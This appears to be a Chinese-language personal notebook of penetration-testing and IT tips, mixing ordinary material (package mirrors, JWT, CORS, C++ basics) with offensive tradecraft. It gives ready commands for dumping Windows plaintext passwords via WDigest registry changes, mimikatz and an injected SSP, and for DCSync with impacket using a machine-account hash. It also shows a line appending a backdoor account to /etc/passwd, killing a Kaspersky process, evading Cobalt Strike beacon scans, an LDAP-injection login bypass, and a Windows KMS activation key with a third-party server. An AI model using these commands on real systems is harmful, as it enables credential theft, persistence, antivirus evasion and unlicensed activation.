杂记----

文章目录

1. echo命令特性

echo 123 > 1.txt
上述echo命令会覆盖之前文件里面的东西,如果改成下面段命令就不会覆盖:
echo 123 >> 1.txt

2. msf

msf中只有windows的原生平台payload才能进行migrate,其余例如python,php都是不可以的。

3. 劫持explorer.exe黑屏

劫持explorer.exe会导致系统黑屏,尽量不要用,尽量使用CLR劫持.NET程序与修改注册表键值UserInitMprLogonScrip的方法来达到权限维持。

4. 影子账户

修改RID来修改账号权限,只在win7系统有用,msf也有现成利用脚本post/windows/manage/rid_hijack,参考文章渗透技巧——Windows帐户的RID Hijacking

5. 烂土豆提权

windows提权用juicy,一般用在webshell上。星标中有可以直接利用的程序。
在这里插入图片描述
在这里插入图片描述

6. mimikatz的powershell版(打不开)

https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz
mimikatz的九种加载方式

7. 远程线程注入原理

线程注入原理大概就是说我们通过一定的手段在宿主也就是需要被注入的进程那获取权限,得到权限之后我们要在这个进程上开辟一定的内存,然后把自己的线程函数内容以及参数什么的全都拷贝过去,这样目标进程上有我们的函数,我们的参数。
我们这个时候只需要"帮"它启动一下这个线程就OK了,直接用CreateRemoteThread函数在对方进程的某个内存位置的某个线程函数作为线程函数启动。

8. 命名管道

首先我们需要明确的一点,命名管道基于smb协议通信,smb,smb。重要的事情说三遍。它是用来让两个进程间进行通信的,这两个进程可以是本地进程,也可以是远程进程。命名管道有点类似于socket连接,是用来传输数据的,可以设置具体的权限让指定权限的进程才能连接命名管道,理论上每个程序都能连接命名管道,只是连接之后能做的事情不同,具体能做什么事跟服务端的配置有关系。
下面总结几点:
1.命名管道是C/S架构,必须让服务端某个进程先创建命名管道。
2.命名管道可以被任何符合权限的进程去访问,且何种权限可以访问是可以自定义的。
3.客户端可以是本地的某个进程或者远程的某个进程,本地进程访问命名管道方式为.\pipe\pipename,远程进程访问命名管道方法为\ip\pipe\pipename。
4.在powershell中使用dir \.\pipe\ | select name可以查看当前所有命名管道的名称。
命名管道还有一个特点就是但服务端进程被客户端进程连接的时候,理论上说服务端进程有可能获取到客户端的权限。ImpersonateNamedPipeClient()这个api可以帮助我们进行实现,前提是我们当前用户具有SeImpersontePrivilege权限。

9. 委派要在域控上进行配置

10. 几种文件系统的区别

常见的几种文件共享相关的网络协议有:

  • CIFS
  • Samba
  • SMB
  • NFS

CIFS是SMB协议的另一种实现或者说是派生,适用于Windows,且CIFS与SMB的客户端之间可以进行互相访问。

Samba协议一般在linux系统上,它能让Linux服务器实现文件服务器、身份授权和认证等功能,主要是为了实现让windows主机访问linux主机的共享文件。Samba也是SMB的一个变种,所以CIFS和SMB与Samba的客户端可以进行互访。

NFS是linux主机专有的文件共享协议,只支持linux主机之间的互访。

11. 绕过CS beacon config scan

  • 反编译CS改源代码
  • 在Sites上删掉stager与stager64,当需要使用的时候在listeners中选择监听点击编辑然后点击确定即可恢复,等待主机上线后再删掉这两个选项即可避免被检测到。
  • 使用域前置重定向等技术

12. 解决mac电脑安装brew或者brew下载东西过慢

使用中科院的镜像,具体操作看:
Mac安装Homebrew慢,解决办法
Mac OS X 包管理工具 Homebrew 安装与使用


/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/uninstall)"
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" #安装brew
git -C "$(brew --repo)" remote set-url origin https://mirrors.ustc.edu.cn/brew.git
git -C "$(brew --repo homebrew/core)" remote set-url origin https://mirrors.ustc.edu.cn/homebrew-core.git
git -C "$(brew --repo homebrew/cask)" remote set-url origin https://mirrors.ustc.edu.cn/homebrew-cask.git
echo 'export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.ustc.edu.cn/homebrew-bottles' >> ~/.zshrc
echo 'export PATH=$PATH:/opt/metasploit-framework/bin' >> ~/.zshrc    
echo 'alias java8="/Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin/Contents/Home/bin/Java" ' >> ~/.zshrc    
echo "alias updatedb='sudo /usr/libexec/locate.updatedb'" >> ~/.zshrc    
brew update

13. 误删.bash_profile文件

Mac系统的环境变量,加载顺序为:
/etc/profile
/etc/paths
~/.bash_profile
~/.bash_login
~/.profile
~/.bashrc

在命令行输入export PATH=/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
然后使用vim命令编辑~/.bash_profile文件加入正确的环境变量即可。
在这里插入图片描述

14. pip命令相关报错与安装提速

python使用pip安装包的时候出现ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.

C:\Users\Administrator\AppData\Local\Programs\Python\Python310

安装下面这两个包即可:
python -m pip install --upgrade setuptools
python -m pip install --upgrade pip
使用:pip install django -i https://pypi.tuna.tsinghua.edu.cn/simple

pip config set global.index-url https://pypi.mirrors.ustc.edu.cn/simple/
pip3 config set global.index-url https://pypi.mirrors.ustc.edu.cn/simple/
pip2 config set global.index-url https://pypi.mirrors.ustc.edu.cn/simple/

#升级所有的包
pip freeze --local | grep -v ‘^-e’ | cut -d = -f 1 | xargs -n1 pip install -U
pip3 freeze --local | grep -v ‘^-e’ | cut -d = -f 1 | xargs -n1 pip3 install -U

可以提高安装速度,参考文章:提高pip安装速度

15. 将python脚本转化为exe

要求:python版本小于3.6且安装了pyinstaller
pyinstaller安装方式:pip install pyinstaller

16. 黄金票据与白银票据、TGT与TICKET

黄金票据与白银票据本质是一样的,区别是取决于加密票据的是krbtgt的hash还是其他服务的hash。黄金票据说白了就是知道了krbtgt的hash后可以伪造一张ticket,这个ticket可以访问krbtgt/domain_name服务。白银票据是得到了某个服务的hash,然后伪造一个ticket这个ticket有权限访问那个服务。其实krbtgt就是KDC服务。
黄金票据伪造了TGT后,我们就会拥有一个伪造后高权限的TGT,还会有一个SESSION key,这样子才能进行后续的kerberos认证,只有TGT没有session key是无法进行后续认证。

TGT与TICKET本质没啥区别,只是用途不一样,我们把访问TGS服务所需要的票据称为TGT,它是被TGS的服务账户也就是krbtgt的hash加密的。
TICKET是访问其他服务所需的票据,是被其他服务的hash加密的。

17. 黄金票据制作好后复制到域内另一台机器上使用,或者直接使用域控的tgt票据在另一台机器上使用,另一台机器没有这张票据中的session key,无法证明这张票据属于自己,为什么还能利用票据拿到域管理员权限呢?

其实黄金票据制作好后同时也会将session key保存在机器中,如果我们使用mimikatz将票据导出的话,导出的文件中含有的其实是tgt与session key。

18. windows注册服务账户(域控才可以)

setspn -u -s host/wangmazi wangmazi
在这里插入图片描述

如果权限不够就会报错:
在这里插入图片描述
创建好后就可以给账号配置约束性委派了:

在这里插入图片描述

19. 约束性委派中最终其作用的是那张可转发的TICKET,这张ticket与kerberos认证中的ticket除了可转发性其余一样吗?

一样的,本质走的都是kerberos协议。

20. 约束性委派s4u2proxy中除了需要导入s4u2self得到的可转发的ticket外还需不需要导入被委派主机的tgt?

不需要。

21. SIDHistory

SIDHistory属性的存在是为了解决用户在迁移到另一个域中的时候权限会改变的问题。例如用户zhangsan在A域中本来是管理员,迁移到B域的时候因为sid的改变有可能会变成普通用户权限,这时候如果给zhangsan用户添加一个值为zhangsan在A域中的SID的SIDHistory值就可以解决这个问题,只有域管有更改SIDHistory的权利

给zhangsan用户添加域管的sid:

privilege::debug
sid::add /sam:zhangsan /new:administrator

22. 权限的状态到底有什么意义

在这里插入图片描述

如上图所示,我们可以看到权限的状态是disabled,这个disabled并不代表用户不能去使用这些特权,disabled只代表当前程序没有这个特权,但是只要特权显示出来了,那么用户就拥有来这些特权,如果仅仅作为用户的角度的话我们可以直接忽略掉这些权限的状态,因为在必要的时候系统会为我们自动开启。

那disabled这种状态为什么会存在呢?那就是为了限制程序的执行了。

举个例子,SeShutdownPrivilege权限的状态是disabled,我们用户还是可以在cmd窗口中执行shutdown命令关闭主机,但是其他程序就不可以调用windows的api来关闭主机,如果其他程序想调用windowsapi关闭主机的话就得先调用一个名为AdjustTokenPrivileges的api来将SeShutdownPrivilege的状态转变为enable,之后才能进行关闭主机。总的来说权限的状态对于用户态的我们毫无影响,对于一些程序会有一定的影响。

设置权限状态为enable方式可参考代码:EnablePrivilegeandGetTokenInformation.cpp

23.域传送

https://www.jianshu.com/p/d2af08e6f8fb

24.事件id

4624 登录成功
4625 登录失败
4634 注销成功
4647 用户启动的注销
4672 使用超级用户/管理员用户进行登录
4720 创建用户
4697 7045 PsExec

25.读取windows明文密码思路

1.修改注册表让mimikatz可以读取明文密码,然后使用cmd锁屏让用户重新登陆。
#开启wdigest Auth读取明文密码

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#强制锁屏

rundll32 user32.dll,LockWorkStation

#读取密码

mimikatz.exe log privilege::Debug sekurlsa::logonpasswords exit
type mimikatz.log | find /i "password"

在这里插入图片描述

在这里插入图片描述

2.使用mimikatz的ssp,然后使用cmd让屏幕锁屏。

copy mimilib1.dll C:\Windows\System32\

reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "C:\Windows\System32\mimilib1.dll" /t REG_MULTI_SZ /

mimikatz.exe privilege::debug misc::memssp exit

rundll32 user32.dll,LockWorkStation


type C:\Windows\System32\mimilsa.log

在这里插入图片描述

补充:专业术语

soc 安全运营中心
SOP同源策略
edr 终端安全响应系统
SSID wifi的名字
csp 内容安全策略
Ioc 可以理解成资产的指纹,可以是ip或者md5
IDC 可以理解成机房,IDC服务器就是机房的服务器
Ops 可以理解成运维,其实表达的是operation。
ISP 互联网服务提供商 Internet services provider
MSP 企业服务器的托管商
ICG 上网行为管理
dev 开发工程师
MFA 多因素身份验证
MDM 移动设备管理
SAST 白盒测试
DAST 黑盒测试
IAST 灰盒测试
RASP 应用运行时安全保护
MTD 移动威胁防御
SIEM 安全信息和事件管理
EPP 端点保护平台
DLP 数据防泄露系统
SDL 安全开发周期
JIRA 项目任务管理软件
Confluence 企业知识管理与协同软件
devsecops 一个完全覆盖安全防护或者按照安全准则的应用开发模式。

CI/CD CI/CD或CICD通常指的是持续集成和持续交付或持续部署的组合实践

SaaS软件即服务 可以理解成通过一个软件提供服务,这个软件是一个别人已经写好的东西,你无法进行定大量制化,一般只能进行使用,通过购买软件来购买别人提供的服务,这种服务一般是按年付费的而不是买断型的。
参考文章1
参考文章2

IaaS 基础架构即服务,通过基础架构来提供服务,比如计算机厂商卖给你一个计算机,这个计算机没有装操作系统,只装了硬件,你可以在这个基础上进行DIY。

PaaS 平台即服务 还是计算机厂商,它除了硬件之外给你装了操作系统,但是里面一个软件都没有,你得自己装,它只给你提供了操作系统的平台而已。

DevOps(Development和Operations的组合词)是一种重视“软件开发人员(Dev)”和“IT运维技术人员(Ops)”之间沟通合作的文化、运动或惯例。透过自动化“软件交付”和“架构变更”的流程,来使得构建、测试、发布软件能够更加地快捷、频繁和可靠。参考文章

26.安全团队的价值是什么

安全团队的价值是降低业务风险,进一步价值是提升业务的核心竞争力,终极价值是成为盈利单元。把内部业务服务好了,下一步就是能力输出。

27.蜜罐的识别

freebuf.com/articles/network/236485.html

  1. BOF的识别;BOF(Back Officer Friendly)
  2. 假代理技术,关注Honeypot Hunter软件;
  3. Honeyd的识别;
  4. 利用Sebek识别蜜网,第二、三代蜜网都有这个软件;
  5. Tarpits的识别;
  6. 外联数据控制识别,一般蜜罐会严格限制系统向外的流量;
  7. 识别VMware虚拟机,重点关注MAC地址的范围
  8. 用Nmap等Scan工具,同一个机器同时开放很多Port的。
  9. 因为很多蜜罐都设置在相同或临近的网段。所以,同一个网段(e.g. /24),很多机器都开放相同的Port,回应相似的Response。
  10. 去Shodan/Censys查

28.CGI

CGI是一个协议,实现CGI协议的程序叫做CGI程序。CGI程序可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等,常见的实现方式有FASTCGI。
CGI程序可以理解成一个接口,比如说一个php网站,当用户发送了一个静态请求的时候,例如请求一个静态的html页面,这时候CGI程序不会启动。但是当用户发送了一个动态请求比如请求一个数据库查询,这时候CGI程序就会去进行数据库查询,然后将回显返回到web容器,然后web容器根据之前写的代再将数据处理后再将回显返回到用户浏览器。
总的来说,静态请求(请求之前已经写死的东西)不会涉及到CGI程序,动态请求(实时变化的东西例如数据库、当前时间等)一般会用到CGI程序。
https://www.jianshu.com/p/80e46a80fdbd

29.机器账号利用

机器账号的hash也可以直接进行pth攻击,域控的机器账户具有dcsync权限。

获取到域控主机的主机账户时候的利用方式:
在普通机器上先使用getst脚本获取主机账户的凭据,然后再使用secretdump脚本利用dcsync权限读取密码,这两个脚本都在impacket中。

python getST.py -dc-ip 192.168.124.142 -spn krbtgt/test.com test.com/yukong$  -hashes  :0fa65385ff8a2dac9badc773545a2243
set KRB5CCNAME=yukong$.ccache
python secretsdump.py -k -no-pass yukongs

在这里插入图片描述

在这里插入图片描述

获取普通账户的主机账户权限:
利用rebues工具获取到对方的shell,具体操作点这里
域渗透:使用MachineAccount实现DCSync

30.vim显示行号跟去重

set nu #显示行号
sort  #排序
g/^\(.*\)$\n\1$/d #去除重复行

31.PHP-CLI是什么

CLI 全称 command-line interface 直译过来 命令行接口 维基上 是 命令行界面

一般我们在 Linux 操作系统时是没有操作界面的,那要怎么才能执行程序或者对程序进行编译

这个时候就需要一些实现了 CLI 的工具, PHP-CLI 就是这样一个程序 可以在命令行下直接运行PHP程序 常用来开发 PHP 的外壳应用 后台应用

PHP-FPM就是一个实现了fastcgi协议的实体程序,全名是Fast-cgj process manager。

PHP中CGI、CLI、FPM是什么

32.使用xxe攻击利用system权限的服务进行ntlm认证并执行ntlm relay攻击

此时会用当前机器的机器账号认证。如果能得到机器账号的凭据,并将其委派到机器账号所在的机器上,这时候就能更改此机器的基于资源的约束性委派的属性值然后进行基于资源的约束性委派攻击。

33.XSLT与XML

XSLT定义了XML的显示方式,例如可以讲XML数据以表格的形式展现出来。

没加XSLT文件前:
在这里插入图片描述
加了XSLT文件后:

在这里插入图片描述

34.xhtml、dtd、xml schema、xsd

  • xhtml就是用xml格式编写的html文件后缀名为.html。

  • DTD全名为文档类型定义,简单点说就是定义xml文档中可以有什么,不可以有什么,以及元素的类型,文件后缀名为.dtd。

  • xml schema是DTD的更新换代产品。

  • xsd 是一种xml schema的一种类型,全称为xml schema definition。xsd会描述一组规则,这个xml文件必须遵守这组规则,文件后缀名为.xsd。
    如何使用 XSD?

35.利用visual studio的项目配置实现编译后上线(build event)

利用visual studio的项目设置,来设置当编译当时候执行某些命令,借此来实现让对方上线。

利用build event实现木马上线

36.IP限制绕过实现3389登陆

https://mp.weixin.qq.com/s/FMGqJx0GbhxXfdnFS929zQ

37.linux添加账户

添加一个sec账户,密码为1.

echo "sec:\$6\$FoSOR5oP6rcipJfo\$YNw1572OzKfizVuswP408qp6Qp5MyELFqZfivgTlWhmVsl0W9bL9AKga//ZgWK/CNbZMbT6H51RFOyJGcCSG10:777:0:sec:/home/sec:/bin/bash" >> /etc/passwd

38. dcpwn原理/cve-2019-1040

cve的利用点是修改mic标志使得通过smb得到的ntlm可以被转发到到ldap服务进行身份验证,并获得对应权限,如果不绕过mic标志,则不能实现上面的转发,或者说转发无效。
dcpwn是利用了cve-2019-1040,先获取一个域内主机的权限,使用spoolservice漏洞获取域内ldap服务器的ntlm-hash并使用cve20191040删除掉mic标识位,然后relay到真正的域控进行身份验证,接着添加一个机器账户并将这个机器账户设置成域控主机的基于资源的约束性委派的信任主机。然后利用这个机器账户,我们就可以控制域控进而控制整个域。

39. ntlm-relay与cve-2019-1040的其他理解

  1. 通过smb得到的ntlm-hash一般是无法进行身份认证的,最多只能进行RCE,因为这种ntlm-hash有mic标识位,并且这种标识为无法改变。如果可以移除掉mic标识位,那么通过smb得到的ntlm-hash就可以配合ntlm-relay攻击进行身份验证并执行其他操作,例如修改其他账号的ldap属性。
  2. cve-2019-1040可以删除通过smb得到的ntlm-hash的mic标识位,并且使得此hash依旧有效,可以配合ntlm-relay进行身份验证。
  3. spoolservice漏洞可以出发目标主机对当前主机的smb身份验证,如果对exchange服务器进行此漏洞的利用,会使得exchange服务器的机器账户来进行smb身份验证。
  4. exchange机器账户默认可以修改Domain object对象的所有属性,domain object就是域内所有的主机与用户。
  5. 使用exchange机器账户的权限,修改域控主机的基于资源的约束性委派的配置可以控制域内所欲主机。或者选择给域内某个主机赋予dcsync权限,这样子也能变像获得域内所有主机的权限。
  6. ntlm-relay不能将ntlm认证relay回原机器。例如截取到exchange主机的ntlm-hash,可以将其relay到域内其他主机上进行rce攻击,但不能将其relay回exchange主机进行命令执行。

40. magic_quotes_gpc 在PHP5.4被废除

数字型的sql注入魔术引号已经没什么用了,必须使用intval()函数将用户的输入全部转化为数字才行。

41.SDL

整个SDL并未注重运维,微软为了弥补这个缺陷推出了OSA(Operational Security Assurance)。

在这里插入图片描述

SDL在研发、测试之外定义了安全的角色,通过流程上的保证,使安全人员及其工作能够嵌入到研发过程中的各个环节,以此来降低产品中出现安全漏洞的风险。

42.CI/CD(continuous integration/continuous delivery)

CI/CD或CICD通常指的是持续集成和持续交付或持续部署的组合实践。

持续集成是一种开发实践,要求开发人员每天多次或更频繁地向公共代码库提交代码更改,每次提交都将触发自动构建,将代码构建成可以直接部署的形式,例如mvn的打包等。

持续交付就是将代码经常性的部署到服务器上,例如可以配置,如果代码发生了变动,就进行一次部署。

jenkins就是实现了CI/CD的产品。jenkins会从git或者svn上拉代码然后在配置所指向的环境中进行编译并上线。

Jenkins的思想就是自动化部署,“自动化”的具体体现在:当我们向版本库(SVN)提交新的代码后,应用服务器(Tomcat)就会自动从我们的SVN上拉去新的war包,然后重新部署,用户或测试人员看到的就是最新的应用程序。

正常情况下应该是我们自己写完代码后,将代码打包复制到测试运行环境中进行运行,然后测试是否有问题,没有问题再发布到生产环境中。

jenkins自动化了我们写完代码并上传到仓库后的所有操作。这时候程序员只要负责写,然后上传到仓库。jenkins就会自动根据仓库变动来执行事先写好的命令,例如拉取指定仓库的代码并在预先配置好的其他测试服务器上进行编译与部署等。

43.devops/devsecops

DevOps(Development和Operations的组合词)是一种重视“软件开发人员(Dev)”和“IT运维技术人员(Ops)”之间沟通合作的文化、运动或惯例。透过自动化“软件交付”和“架构变更”的流程,来使得构建、测试、发布软件能够更加地快捷、频繁和可靠。参考文章

devsecops就是在devops研发周期中添加了安全防护,有点类似于SDL加上ops。

44.svchost.exe

svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要,而且是不能被结束的。许多服务通过注入到该程序中启动,所以会有多个该文件的进程。

45.主动漏洞扫描与被动漏洞扫描的区别

主动漏洞扫描是测试者自己提供url然后扫描器进行扫描。

被动漏洞扫描,扫描器是一个代理卡在用户与目标站点之间,且会自动扫描用户浏览过的所有页面。除此之外其余都一样。

46.溯源与反制

反制:

1、首先定位问题原因,确认中了木马
2、对进程,启动项,计划任务,后门,账户全部进行清除
3、通过审计木马、web日志定位入口点与攻击者ip
4、对入侵者IP进行反制攻击

溯源:

1、首先定位问题原因,确认中了木马
2、对进程,启动项,计划任务,后门进行清除
3、通过审计木马、web日志定位入口点与攻击者ip
4、对目标进行溯源

47.为什么需要堡垒机

之前一直是使用的跳板机来对运维人员的远程登录进行集中管理,但是跳板机并没有实现对运维人员的操作行为进行控制和审计,导致在使用跳板机的过程中如果出现安全事件,不太容易定义到人,此外跳板机还有严重的安全风险。

因此人们需要一种能满足角色管理与授权审批、信息资源访问控制、操作记录和审计、系统变更和维护控制要求,并生成一些统计报表配合管理规范来不断提升IT内控的合规性的产品,堡垒机就诞生了。

堡垒机的建设目标是为了知道以下几件事,总的来说还是为了降低运维风险:

审计:你做了什么?(What)
授权:你能做哪些?(Which)
账号:你要去哪?(Where)
认证:你是谁?(Who)
来源:访问时间?(When)

什么是堡垒机?为什么需要堡垒机?

48.内容安全

黄赌毒暴恐政等低俗或者反社会的东西都属于内容安全的管辖范畴。
主动合规的思路:
合法合规、综合治理、快速处置

49.msf出现加载不起go模块

在这里插入图片描述

输入下面命令即可:

go env -w GO111MODULE=off

50. jwt(JSON Web Token)是做什么的?

JWT是目前最流行的跨域认证解决方案。
在了解JWT之前我们首先得知什么是跨域认证与跨域认证的其他解决方案是什么,举例如下:

A 网站和 B 网站是同一家公司的关联服务。现在要求,用户只要在其中一个网站登录,再访问另一个网站就会自动登录,请问怎么实现?

一种解决方案是 session
数据持久化,写入数据库或别的持久层。各种服务收到请求后,都向持久层请求数据。这种方案的优点是架构清晰,缺点是工程量比较大。另外,持久层万一挂了,就会单点失败。

另一种方案是服务器索性不保存 session 数据了,所有数据都保存在客户端,每次请求都发回服务器。JWT 就是这种方案的一个代表。

JWT可以理解成一种token,在访问的时候加到数据包里代表访问用户的身份。

参考文章:
JWT入门教程

51.POST请求中必须的http头

POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=tom&passwd=123

52.XMLHttpRequest的作用

XMLHttpRequest是JS中的一个对象,通过它可以实现不刷新整个网页的情况下更新网页的部分数据,类似于百度的输入框,我们输入不同的字符的时候会有下拉框告诉我们相关的输入,但是整个网页没有更新,更新的只有下拉框,这个就是XMLHttpRequest对象的作用。

上述的这种技术叫做AJAX ,XMLHttpRequest是这个技术中核心的一个点。

通过XMLHttpRequest可以实现:
1.在不重新加载页面的情况下更新网页
2.在页面已加载后从服务器请求数据
3.在页面已加载后从服务器接收数据
4.在后台向服务器发送数据

XMLHttpRequest 可以同步或异步请求web服务器上的资源,并且能够以文本或者一个 DOM 文档的形式返回内容,是实现ajax技术的核心。

XMLHttpRequest在进行http请求的时候有好几个状态也就是readyState属性,分别如下:
在这里插入图片描述
每更改一次状态,就要执行一次onreadystatechange函数。

XMLHttpRequest对象还有其他的属性:

属性作用
responseText请求后的响应数据(不包括http头)
responseXML将响应转化为XML并作为Document对象返回
statushttp状态码
statustexthttp状态码的文字形式

参考文章:
XML DOM
AJAX

53. 同源策略

所谓同源是指三个相同

协议相同
域名相同
端口相同

为了保护用户凭据而出现的。

54.跨域

  1. 什么是跨域
    当用户对不同协议或不同端口或不同域名的资源进行访问时,就是跨域。

  2. 为什么会造成跨域
    因为有些业务需要跨域访问资源,而又因为同源策略的存在导致会阻碍我们的跨域行为。同源策略规定:XHR对象只能访问与包含它的页面位于同一域中的资源,有利于预防一些恶意行为。

  3. 怎么解决跨域
    解决办法有很多,CORS、iframe、h5新特性postMessage等,而比较简单的方法就是今天着重介绍的jsonp。

解决依据:尽管不能访问非本域的动态资源,但是类似js文件、样式、图片等静态资源是可以访问的!就是通过这个“漏洞”来解决跨域问题。用<script>标签中的src来写入跨域数据的url,这样就能绕过同源策略了。。“老师,他作弊!”

55. jsonp

JSONP,JSON with Padding的简写,这个全称对jsonp的理解还是有一定的帮助的。填充式JSON或者说是参数式JSON。JSONP的语法和JSON很像,简单来说就是在JSON外部用一个函数包裹着。JSONP基本语法如下:

callback({ “name”: “kwan” , “msg”: “获取成功” });

JSONP两部分组成:回调函数和里面的数据。回调函数是当响应到来时,应该在页面中调用的函数,一般是在发送过去的请求中指定。

JSONP原理:

刚才的解决依据可知,JSONP原理就是动态插入带有跨域url的<script>标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。

56. 序列化存在的意义是什么

1、方便保存 2、方便在网络上传输

网络上只能传输字节流数据,对象本是无法在网络上直接进行传输的。而序列化技术可以将对象进行字节流化,进而在网络上进行传输。

57. selenium

一个web测试工具,可以理解成一种爬虫,可以完全模仿人类对浏览器进行一些操作,例如浏览网页等。
支持的浏览器包括IE(7, 8, 9, 10, 11),Mozilla Firefox,Safari,Google Chrome,Opera,Edge等。这个工具的主要功能包括:测试与浏览器的兼容性——测试你的应用程序看是否能够很好得工作在不同浏览器和操作系统之上。

58. /etc/group

cat /etc/group命令可以查看linux机器中的用户组信息

组名:密码:GID:该用户组中的用户列表为文件格式,举例如下:
在这里插入图片描述

参考文章:linux /etc/group解析

59.卡巴斯基杀毒进程

taskkill /f /im kavfswp.exe #结束进程

60. 组策略禁用命令提示符的绕过方式

  1. 提权到system
  2. aspx环境中使用setp命令 + 木马路径,例如setp C:\inetpub\wwwroot\artifact.exe,然后随便输入几个字符即可。

参考文章: 组策略禁用命令提示符的绕过方式

61. 如何删除-开头的文件

例如有一个文件叫做--123.txt,利用下面的命令即刻删除:

rm  -f ./--123.txt

62. 水坑攻击与鱼叉攻击

水坑攻击:在受害者常访问的网站上挂马,引导受害者点击下载执行。
鱼叉攻击:有针对群体的钓鱼邮件。

63. c++连续创建两个int变量,两个变量地址相差不是4

int变量会用4个字节存储,一个地址可以存储一个字节。理论上说连续创建两个int类型的数据,两个数据的地址应该相差4。但当我们用debug模式编译的时候,会发现相差可能是会很大,我这里相差是32。

这是因为debug编译的模式下,DEBUG 版为了在变量访问越界的时候做出检测,在变量之间插入了一些填固定值的内容,因此数据的地址会发生些许的变化。如果我们切换到release模式去进行编译,就会发现一切恢复了正常,两个int类型变量的地址相差就会变成4.

https://bbs.csdn.net/topics/390858311

64. debug与release编译有什么区别

 Debug 通常称为调试版本,它包含调试信息,并且不作任何优化,便于程序员调试程序。Release 称为发布版本,它往往是进行了各种优化,使得程序在代码大小和运行速度上都是最优的,以便用户很好地使用。

debug编译处的exe可以被调试,而release编译出的无法被IDE直接调试。

65. 指针与句柄

指针就不说了,代表某个对象的地址。

句柄的话,是一个数字,32位系统上函数的句柄位32bit,也就是一个4字节大小的数字。64位系统上函数的句柄为64bit也就是8字节大小的数据。

句柄指向对象的地址,是对象地址的一种表现形式,句柄仅能用来访问对象,不能做任何指针相关的操作,例如指针地址的加减。

句柄一般情况下只在当前进程内有价值。

使用具柄是为了安全性。

66. 堆与栈

以c语言为例:

int a =1; //在栈中申请的内存

int *b = new int; //在堆中申请内存
*b = 2;
delete b; //释放在堆上申请的内存

栈的内存是连续的,地址由低到高被使用,数据先进后出,且内存使用后会自动释放。
堆内存是随机的,需要手动释放内存。栈是用来存储函数内部临时使用的变量(局部变量酒),以及函数调用时所用的参数的内存区域。堆是用来存储程序运行时的任意数据及对象的内存领域。

67. c++中的引用

int a = 1;
int& b=a;
a=3;
//此时b也等于3

引用跟指针十分相似,上面代码可以理解成b指向a这个变量所存储的地址,b的值就等于*a。

68. ((void(*)())Memory)();的理解

首先我们需要知道:

((void()())0) () 等同 ((void(*)())0) () ----原因函数是一种function-to-pointer的方式,&fun, fun, *fun ,**fun都是一样

Memory为含有我们写入的shellcode的内存的首地址。

void(*)()是强制改变当前函数指针类型为返回值为void且无传入数据的函数指针类型。

(void(*)())Memory就是将Memory变成一个返回值为void且无传入参数的指针类型。

((void(*)())Memory)()就是调用Memory指针所对应的函数,在c语言中就是执行Memory所对应地址的二进制代码,也就是我们那的shellcode。

69. 判断一个exe是不是32位

看他Machine字段是不是014c,如果是那就是32位的。

在这里插入图片描述
在这里插入图片描述

70. 主机账号每30天自动修改一次密码

71. LDAP注入攻击

当前常用的ldap服务器有微软的ADAM和OpenLDAP。
如果是微软的那么暂时没办法攻击。
如果用的是OpenLDAP就可以进行注入攻击。举例如下:
假设一个用户输入账号密码的场景,应用构造一个过滤器发送给LDAP服务器进行查询:

(&(username=uname)(password=pwd))

这时候我们就可以通过构造如下的payload来绕过认证:

(&(username=uname))(*)(password=pwd))

只需要将输入的username改成uname))(*即可。因为OpenLDAP默认不会解析第二个过滤器,上面的payload有三个过滤器分别为:

  1. (&(username=uname))
  2. (*)
  3. (password=pwd))

但只有第一个会被成功执行,而且结果为永真。

72. 开发模型:瀑布模型、敏捷模型

  • 瀑布模型:
    在这里插入图片描述

将项目从头到尾分为不同的阶段,例如分为需求、设计、实施、验证、上线、维护这几个阶段,然后每个阶段结束后都会有十分详细的文档方便下个阶段的工作。管理人员仅通过文档就可以了解项目成型之后的模样,可以很好的对项目做宏观把控,十分适合成熟稳定的大项目。但是对于经常需要较大变动的项目,瀑布模式就十分不适合了。每次大的更改几乎都代表了项目得从头再来。

  • 敏捷模型:
    在这里插入图片描述

相当于先生成一个具有核心功能的小产品,然后不停的迭代直到最终的成品出现。在每个迭代的过程中,都会有客户的参与,来决定这次迭代的细节与后续的方向,如果有问题及时改正。
这样做的好处有客户实时参与,跟有可能制作出让客户满意的产品;研发速度快,且每个阶段都有一个成品,更容易让客户确定研发进度与自己的需求,如果需求出现偏差可以及时改正,改错的代价也比较小;

73. mac上wireshark抓包权限不够

whoami
cd /dev
sudo chown shukasakai:admin bp* #用whoami的结果替换shukasakai

74. 代码审计中的路由是什么意思

url所对应的业务代码。

75. 使用git管理github上的仓库

https://blog.csdn.net/weixin_41938903/article/details/103150430

76. 禁止机器账户的密码自动更改

reg ADD HKLM\SYSTEM\CurrentControlSet\services\Netlogon\Parameters /v DisablePasswordChange /t REG_DWORD /d 1 /f

77. win2012 standard激活

slmgr /ipk XC9B7-NBPP2-83J2H-RHMBY-92BT4

slmgr /skms kms.03k.org

slmgr /ato

78. ACL、SACL、DACL、ACE、SDDL的区别

ACL由SACL与DACL组成。
DACL:控制某个对象是否有能访问另一个对象,并控制权限细节例如读写执行等。
在这里插入图片描述

SACL:控制某个对象试图访问另一个对象的时候产生的日志细节。
ACE:DACL与SACL中的每一条规则都是ACE。格式如下:

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute)

SDDL安全描述符定义语言是一种语言格式,其中有两个函数,可以将安全描述符转化为字符串形式,并可以将符合格式的字符串转化为安全描述符,字符串形式的安全描述符举例如下:

O:owner_sid #代表SID
G:group_sid #代表GID
D:dacl_flags(string_ace1)(string_ace2)... (string_acen) #代表DACL
